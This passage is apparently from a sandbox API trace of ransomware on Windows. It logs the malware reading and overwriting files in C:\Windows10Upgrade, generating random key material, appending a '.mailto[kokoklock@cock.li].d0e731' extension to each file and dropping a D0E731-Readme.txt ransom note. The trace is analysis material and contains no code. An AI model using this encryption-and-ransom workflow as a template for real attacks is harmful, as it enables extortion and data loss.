lpBuffer=0x347ca38*, lpNumberOfBytesWritten=0x872fed4*=0x20, lpOverlapped=0x0) returned 1 [0061.921] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3482218) returned 1 [0061.921] WriteFile (in: hFile=0x5b4, lpBuffer=0x33e4c88*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x872fedc, lpOverlapped=0x0 | out: lpBuffer=0x33e4c88*, lpNumberOfBytesWritten=0x872fedc*=0x8, lpOverlapped=0x0) returned 1 [0061.921] WriteFile (in: hFile=0x5b4, lpBuffer=0x872fef4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x872fedc, lpOverlapped=0x0 | out: lpBuffer=0x872fef4*, lpNumberOfBytesWritten=0x872fedc*=0x4, lpOverlapped=0x0) returned 1 [0061.921] WriteFile (in: hFile=0x5b4, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x872fedc, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x872fedc*=0x4, lpOverlapped=0x0) returned 1 [0061.921] WriteFile (in: hFile=0x5b4, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x872fedc, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x872fedc*=0x6c, lpOverlapped=0x0) returned 1 [0061.921] WriteFile (in: hFile=0x5b4, lpBuffer=0x347b868*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x872fedc, lpOverlapped=0x0 | out: lpBuffer=0x347b868*, lpNumberOfBytesWritten=0x872fedc*=0x20, lpOverlapped=0x0) returned 1 [0061.921] WriteFile (in: hFile=0x5b4, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x872fedc, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x872fedc*=0x4, lpOverlapped=0x0) returned 1 [0061.921] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b868) returned 1 [0061.922] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e4800) returned 1 [0061.922] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e4c88) returned 1 [0061.922] CloseHandle (hObject=0x5b4) returned 1 [0061.925] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x84) returned 0x33e3140 [0061.925] wcscpy (in: _Dest=0x33e3140, _Source="C:\\Windows10Upgrade\\bootsect.exe" | out: _Dest="C:\\Windows10Upgrade\\bootsect.exe") returned="C:\\Windows10Upgrade\\bootsect.exe" [0061.925] wcscat (in: _Dest=0x33e3140, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Windows10Upgrade\\bootsect.exe.mailto[kokoklock@cock.li].d0e731") returned="C:\\Windows10Upgrade\\bootsect.exe.mailto[kokoklock@cock.li].d0e731" [0061.925] MoveFileW (lpExistingFileName="C:\\Windows10Upgrade\\bootsect.exe" (normalized: "c:\\windows10upgrade\\bootsect.exe"), lpNewFileName="C:\\Windows10Upgrade\\bootsect.exe.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\windows10upgrade\\bootsect.exe.mailto[kokoklock@cock.li].d0e731")) returned 1 [0061.926] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\bootsect.exe.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0061.926] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e3140) returned 1 [0061.926] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\bootsect.exe", dwFileAttributes=0x20) returned 0 [0061.926] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4e) returned 0x33c3c10 [0061.926] wcscpy (in: _Dest=0x33c3c10, _Source="C:\\Windows10Upgrade\\" | out: _Dest="C:\\Windows10Upgrade\\") returned="C:\\Windows10Upgrade\\" [0061.926] wcscat (in: _Dest=0x33c3c10, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Windows10Upgrade\\D0E731-Readme.txt") returned="C:\\Windows10Upgrade\\D0E731-Readme.txt" [0061.926] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\D0E731-Readme.txt" (normalized: "c:\\windows10upgrade\\d0e731-readme.txt")) returned 0xffffffff [0061.926] CreateFileW (lpFileName="C:\\Windows10Upgrade\\D0E731-Readme.txt" (normalized: "c:\\windows10upgrade\\d0e731-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5b4 [0061.927] WriteFile (in: hFile=0x5b4, lpBuffer=0x33e3ba8*, nNumberOfBytesToWrite=0x481, lpNumberOfBytesWritten=0x872fed8, lpOverlapped=0x0 | out: lpBuffer=0x33e3ba8*, lpNumberOfBytesWritten=0x872fed8*=0x481, lpOverlapped=0x0) returned 1 [0061.928] CloseHandle (hObject=0x5b4) returned 1 [0061.928] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33c3c10) returned 1 [0061.928] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341c700) returned 1 [0061.928] RtlExitUserThread (Status=0x1) Thread: id = 119 os_tid = 0x104c [0061.915] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\Configuration.ini" (normalized: "c:\\windows10upgrade\\configuration.ini")) returned 0x20 [0061.916] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\Configuration.ini", dwFileAttributes=0x20) returned 1 [0061.919] CreateFileW (lpFileName="C:\\Windows10Upgrade\\Configuration.ini" (normalized: "c:\\windows10upgrade\\configuration.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5c8 [0061.919] GetFileSizeEx (in: hFile=0x5c8, lpFileSize=0x87afeb0 | out: lpFileSize=0x87afeb0*=212) returned 1 [0061.922] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0xd0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.922] ReadFile (in: hFile=0x5c8, lpBuffer=0x87afe84, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x87afe80, lpOverlapped=0x0 | out: lpBuffer=0x87afe84*, lpNumberOfBytesRead=0x87afe80*=0x4, lpOverlapped=0x0) returned 1 [0061.929] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.929] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347cc68 [0061.930] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347cb28 [0061.930] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347cc90 [0061.930] NtQuerySystemTime (in: CurrentTime=0x87afe5c | out: CurrentTime=0x87afe5c*=132121176198207084) returned 0x0 [0061.930] RtlRandom (in: Seed=0x87afe68 | out: Seed=0x87afe68) returned 0x15d3457d [0061.930] RtlRandom (in: Seed=0x87afe68 | out: Seed=0x87afe68) returned 0xd14aa604 [0061.930] RtlRandom (in: Seed=0x87afe68 | out: Seed=0x87afe68) returned 0xe5dee5f2 [0061.930] RtlRandom (in: Seed=0x87afe68 | out: Seed=0x87afe68) returned 0x9f7a01dc [0061.930] RtlRandom (in: Seed=0x87afe68 | out: Seed=0x87afe68) returned 0xe012eb19 [0061.930] RtlRandom (in: Seed=0x87afe68 | out: Seed=0x87afe68) returned 0x3cf864ae [0061.930] RtlRandom (in: Seed=0x87afe68 | out: Seed=0x87afe68) returned 0xb6b8c188 [0061.930] RtlRandom (in: Seed=0x87afe68 | out: Seed=0x87afe68) returned 0x5e9f316d [0061.930] RtlRandom (in: Seed=0x87afe68 | out: Seed=0x87afe68) returned 0xc64d94da [0061.930] RtlRandom (in: Seed=0x87afe68 | out: Seed=0x87afe68) returned 0x19b64901 [0061.930] RtlRandom (in: Seed=0x87afe68 | out: Seed=0x87afe68) returned 0xfb0dd107 [0061.930] RtlRandom (in: Seed=0x87afe68 | out: Seed=0x87afe68) returned 0x20997b1 [0061.930] RtlRandom (in: Seed=0x87afe68 | out: Seed=0x87afe68) returned 0x49b2e89 [0061.930] RtlRandom (in: Seed=0x87afe68 | out: Seed=0x87afe68) returned 0x4b1ddf0d [0061.930] RtlRandom (in: Seed=0x87afe68 | out: Seed=0x87afe68) returned 0x4d447587 [0061.930] RtlRandom (in: Seed=0x87afe68 | out: Seed=0x87afe68) returned 0x6c330399 [0061.930] RtlRandom (in: Seed=0x87afe68 | out: Seed=0x87afe68) returned 0xf513f0e1 [0061.930] RtlRandom (in: Seed=0x87afe68 | out: Seed=0x87afe68) returned 0x5895bbd9 [0061.930] RtlRandom (in: Seed=0x87afe68 | out: Seed=0x87afe68) returned 0xd90a124f [0061.930] RtlRandom (in: Seed=0x87afe68 | out: Seed=0x87afe68) returned 0x9539f63f [0061.930] RtlRandom (in: Seed=0x87afe68 | out: Seed=0x87afe68) returned 0x45eb523c [0061.930] RtlRandom (in: Seed=0x87afe68 | out: Seed=0x87afe68) returned 0xa8d30483 [0061.930] RtlRandom (in: Seed=0x87afe68 | out: Seed=0x87afe68) returned 0xaf7f9d5d [0061.930] RtlRandom (in: Seed=0x87afe68 | out: Seed=0x87afe68) returned 0xcd894c71 [0061.930] RtlRandom (in: Seed=0x87afe68 | out: Seed=0x87afe68) returned 0xf0fb12ff [0061.930] RtlRandom (in: Seed=0x87afe68 | out: Seed=0x87afe68) returned 0x849ac34c [0061.930] RtlRandom (in: Seed=0x87afe68 | out: Seed=0x87afe68) returned 0x617c7e44 [0061.930] RtlRandom (in: Seed=0x87afe68 | out: Seed=0x87afe68) returned 0xe643c4b2 [0061.930] RtlRandom (in: Seed=0x87afe68 | out: Seed=0x87afe68) returned 0xfb908fa3 [0061.930] RtlRandom (in: Seed=0x87afe68 | out: Seed=0x87afe68) returned 0x2289ffdf [0061.930] RtlRandom (in: Seed=0x87afe68 | out: Seed=0x87afe68) returned 0x2117fc64 [0061.930] RtlRandom (in: Seed=0x87afe68 | out: Seed=0x87afe68) returned 0x478d9cb0 [0061.939] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347cc40 [0061.941] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479970 [0061.941] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347ccb8 [0061.941] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479970) returned 1 [0061.941] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347cc68) returned 1 [0061.941] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd280 [0061.941] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479b50 [0061.941] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347ca60 [0061.941] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347ca60) returned 1 [0061.941] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3482218 [0061.941] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x348e2c0 [0061.941] ReadFile (in: hFile=0x5c8, lpBuffer=0x3482218, nNumberOfBytesToRead=0xd4, lpNumberOfBytesRead=0x87afe5c, lpOverlapped=0x0 | out: lpBuffer=0x3482218*, lpNumberOfBytesRead=0x87afe5c*=0xd4, lpOverlapped=0x0) returned 1 [0061.941] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x87afe24 | out: lpNewFilePointer=0x0) returned 1 [0061.941] WriteFile (in: hFile=0x5c8, lpBuffer=0x348e2c0*, nNumberOfBytesToWrite=0xd4, lpNumberOfBytesWritten=0x87afe58, lpOverlapped=0x0 | out: lpBuffer=0x348e2c0*, lpNumberOfBytesWritten=0x87afe58*=0xd4, lpOverlapped=0x0) returned 1 [0061.941] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347cb78 [0061.941] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347c998 [0061.941] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347c998) returned 1 [0061.941] WriteFile (in: hFile=0x5c8, lpBuffer=0x347cb78*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x87afe54, lpOverlapped=0x0 | out: lpBuffer=0x347cb78*, lpNumberOfBytesWritten=0x87afe54*=0x20, lpOverlapped=0x0) returned 1 [0061.941] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347cb78) returned 1 [0061.941] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348e2c0) returned 1 [0061.941] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3482218) returned 1 [0061.941] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479b50) returned 1 [0061.942] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd280) returned 1 [0061.942] WriteFile (in: hFile=0x5c8, lpBuffer=0x347ccb8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x87afe80, lpOverlapped=0x0 | out: lpBuffer=0x347ccb8*, lpNumberOfBytesWritten=0x87afe80*=0x8, lpOverlapped=0x0) returned 1 [0061.942] WriteFile (in: hFile=0x5c8, lpBuffer=0x87afe98*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x87afe80, lpOverlapped=0x0 | out: lpBuffer=0x87afe98*, lpNumberOfBytesWritten=0x87afe80*=0x4, lpOverlapped=0x0) returned 1 [0061.942] WriteFile (in: hFile=0x5c8, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x87afe80, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x87afe80*=0x4, lpOverlapped=0x0) returned 1 [0061.942] WriteFile (in: hFile=0x5c8, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x87afe80, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x87afe80*=0x6c, lpOverlapped=0x0) returned 1 [0061.942] WriteFile (in: hFile=0x5c8, lpBuffer=0x347cb28*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x87afe80, lpOverlapped=0x0 | out: lpBuffer=0x347cb28*, lpNumberOfBytesWritten=0x87afe80*=0x20, lpOverlapped=0x0) returned 1 [0061.942] WriteFile (in: hFile=0x5c8, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x87afe80, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x87afe80*=0x4, lpOverlapped=0x0) returned 1 [0061.942] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347cb28) returned 1 [0061.942] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347cc40) returned 1 [0061.942] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347ccb8) returned 1 [0061.942] CloseHandle (hObject=0x5c8) returned 1 [0061.943] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x8e) returned 0x33e21c8 [0061.943] wcscpy (in: _Dest=0x33e21c8, _Source="C:\\Windows10Upgrade\\Configuration.ini" | out: _Dest="C:\\Windows10Upgrade\\Configuration.ini") returned="C:\\Windows10Upgrade\\Configuration.ini" [0061.943] wcscat (in: _Dest=0x33e21c8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Windows10Upgrade\\Configuration.ini.mailto[kokoklock@cock.li].d0e731") returned="C:\\Windows10Upgrade\\Configuration.ini.mailto[kokoklock@cock.li].d0e731" [0061.943] MoveFileW (lpExistingFileName="C:\\Windows10Upgrade\\Configuration.ini" (normalized: "c:\\windows10upgrade\\configuration.ini"), lpNewFileName="C:\\Windows10Upgrade\\Configuration.ini.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\windows10upgrade\\configuration.ini.mailto[kokoklock@cock.li].d0e731")) returned 1 [0061.944] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\Configuration.ini.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0061.944] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e21c8) returned 1 [0061.944] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\Configuration.ini", dwFileAttributes=0x20) returned 0 [0061.944] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4e) returned 0x33c3c10 [0061.944] wcscpy (in: _Dest=0x33c3c10, _Source="C:\\Windows10Upgrade\\" | out: _Dest="C:\\Windows10Upgrade\\") returned="C:\\Windows10Upgrade\\" [0061.944] wcscat (in: _Dest=0x33c3c10, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Windows10Upgrade\\D0E731-Readme.txt") returned="C:\\Windows10Upgrade\\D0E731-Readme.txt" [0061.944] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\D0E731-Readme.txt" (normalized: "c:\\windows10upgrade\\d0e731-readme.txt")) returned 0x20 [0061.944] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33c3c10) returned 1 [0061.944] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33c3c68) returned 1 [0061.944] RtlExitUserThread (Status=0x1) Thread: id = 120 os_tid = 0x1050 [0061.945] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x36) returned 0x34339e8 [0061.945] wcscpy (in: _Dest=0x34339e8, _Source="C:\\Windows10Upgrade\\dll1" | out: _Dest="C:\\Windows10Upgrade\\dll1") returned="C:\\Windows10Upgrade\\dll1" [0061.946] wcscat (in: _Dest=0x34339e8, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\dll1\\") returned="C:\\Windows10Upgrade\\dll1\\" [0061.946] wcscat (in: _Dest=0x34339e8, _Source="*" | out: _Dest="C:\\Windows10Upgrade\\dll1\\*") returned="C:\\Windows10Upgrade\\dll1\\*" [0061.946] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x3452b88 [0061.946] FindFirstFileW (in: lpFileName="C:\\Windows10Upgrade\\dll1\\*", lpFindFileData=0x3452b88 | out: lpFindFileData=0x3452b88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xea3757e9, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea377ed3, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xea37926f, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3433d68 [0061.946] wcscmp (_String1=".", _String2=".") returned 0 [0061.946] FindNextFileW (in: hFindFile=0x3433d68, lpFindFileData=0x3452b88 | out: lpFindFileData=0x3452b88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xea3757e9, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea377ed3, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xea37926f, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0061.946] wcscmp (_String1="..", _String2=".") returned 1 [0061.946] wcscmp (_String1="..", _String2="..") returned 0 [0061.946] FindNextFileW (in: hFindFile=0x3433d68, lpFindFileData=0x3452b88 | out: lpFindFileData=0x3452b88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea376b75, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea376b75, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xfa216a00, ftLastWriteTime.dwHighDateTime=0x1d2fc76, nFileSizeHigh=0x0, nFileSizeLow=0x204c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="cosqueryxp.dll", cAlternateFileName="COSQUE~1.DLL")) returned 1 [0061.947] wcscmp (_String1="cosqueryxp.dll", _String2=".") returned 1 [0061.947] wcscmp (_String1="cosqueryxp.dll", _String2="..") returned 1 [0061.947] FindNextFileW (in: hFindFile=0x3433d68, lpFindFileData=0x3452b88 | out: lpFindFileData=0x3452b88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea377ed3, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea377ed3, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xfb529700, ftLastWriteTime.dwHighDateTime=0x1d2fc76, nFileSizeHigh=0x0, nFileSizeLow=0x3b0c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="wdscore.dll", cAlternateFileName="")) returned 1 [0061.947] wcscmp (_String1="wdscore.dll", _String2=".") returned 1 [0061.947] wcscmp (_String1="wdscore.dll", _String2="..") returned 1 [0061.947] FindNextFileW (in: hFindFile=0x3433d68, lpFindFileData=0x3452b88 | out: lpFindFileData=0x3452b88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea37926f, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea37926f, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xfb529700, ftLastWriteTime.dwHighDateTime=0x1d2fc76, nFileSizeHigh=0x0, nFileSizeLow=0xe9ec8, dwReserved0=0x0, dwReserved1=0x0, cFileName="webservices.dll", cAlternateFileName="WEBSER~1.DLL")) returned 1 [0061.947] wcscmp (_String1="webservices.dll", _String2=".") returned 1 [0061.947] wcscmp (_String1="webservices.dll", _String2="..") returned 1 [0061.947] FindNextFileW (in: hFindFile=0x3433d68, lpFindFileData=0x3452b88 | out: lpFindFileData=0x3452b88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea37926f, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea37926f, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xfb529700, ftLastWriteTime.dwHighDateTime=0x1d2fc76, nFileSizeHigh=0x0, nFileSizeLow=0xe9ec8, dwReserved0=0x0, dwReserved1=0x0, cFileName="webservices.dll", cAlternateFileName="WEBSER~1.DLL")) returned 0 [0061.947] FindClose (in: hFindFile=0x3433d68 | out: hFindFile=0x3433d68) returned 1 [0061.947] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3452b88) returned 1 [0061.947] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34339e8) returned 1 [0061.947] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e0458) returned 1 [0061.947] RtlExitUserThread (Status=0x0) Thread: id = 121 os_tid = 0x1054 [0061.948] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x36) returned 0x34339e8 [0061.948] wcscpy (in: _Dest=0x34339e8, _Source="C:\\Windows10Upgrade\\dll2" | out: _Dest="C:\\Windows10Upgrade\\dll2") returned="C:\\Windows10Upgrade\\dll2" [0061.948] wcscat (in: _Dest=0x34339e8, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\dll2\\") returned="C:\\Windows10Upgrade\\dll2\\" [0061.948] wcscat (in: _Dest=0x34339e8, _Source="*" | out: _Dest="C:\\Windows10Upgrade\\dll2\\*") returned="C:\\Windows10Upgrade\\dll2\\*" [0061.948] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x3452b88 [0061.948] FindFirstFileW (in: lpFileName="C:\\Windows10Upgrade\\dll2\\*", lpFindFileData=0x3452b88 | out: lpFindFileData=0x3452b88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xea37cd05, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea37cd05, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xea37e09b, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3433d68 [0061.949] wcscmp (_String1=".", _String2=".") returned 0 [0061.949] FindNextFileW (in: hFindFile=0x3433d68, lpFindFileData=0x3452b88 | out: lpFindFileData=0x3452b88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xea37cd05, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea37cd05, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xea37e09b, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0061.949] wcscmp (_String1="..", _String2=".") returned 1 [0061.949] wcscmp (_String1="..", _String2="..") returned 0 [0061.949] FindNextFileW (in: hFindFile=0x3433d68, lpFindFileData=0x3452b88 | out: lpFindFileData=0x3452b88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea37e09b, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea37e09b, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x626300, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0xb8400, dwReserved0=0x0, dwReserved1=0x0, cFileName="webservices.dll", cAlternateFileName="WEBSER~1.DLL")) returned 1 [0061.949] wcscmp (_String1="webservices.dll", _String2=".") returned 1 [0061.949] wcscmp (_String1="webservices.dll", _String2="..") returned 1 [0061.949] FindNextFileW (in: hFindFile=0x3433d68, lpFindFileData=0x3452b88 | out: lpFindFileData=0x3452b88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea37e09b, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea37e09b, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x626300, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0xb8400, dwReserved0=0x0, dwReserved1=0x0, cFileName="webservices.dll", cAlternateFileName="WEBSER~1.DLL")) returned 0 [0061.949] FindClose (in: hFindFile=0x3433d68 | out: hFindFile=0x3433d68) returned 1 [0061.949] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3452b88) returned 1 [0061.949] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34339e8) returned 1 [0061.949] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e0498) returned 1 [0061.949] RtlExitUserThread (Status=0x0) Thread: id = 122 os_tid = 0x1058 [0061.950] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\DW20.EXE" (normalized: "c:\\windows10upgrade\\dw20.exe")) returned 0x20 [0061.950] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\DW20.EXE", dwFileAttributes=0x20) returned 1 [0061.950] CreateFileW (lpFileName="C:\\Windows10Upgrade\\DW20.EXE" (normalized: "c:\\windows10upgrade\\dw20.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5c8 [0061.951] GetFileSizeEx (in: hFile=0x5c8, lpFileSize=0x892f8e8 | out: lpFileSize=0x892f8e8*=643784) returned 1 [0061.951] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x9d2c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.951] ReadFile (in: hFile=0x5c8, lpBuffer=0x892f8bc, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x892f8b8, lpOverlapped=0x0 | out: lpBuffer=0x892f8bc*, lpNumberOfBytesRead=0x892f8b8*=0x4, lpOverlapped=0x0) returned 1 [0061.952] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.952] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347cc68 [0061.953] RtlAllocateHeap (HeapHandle=0x33c0000, 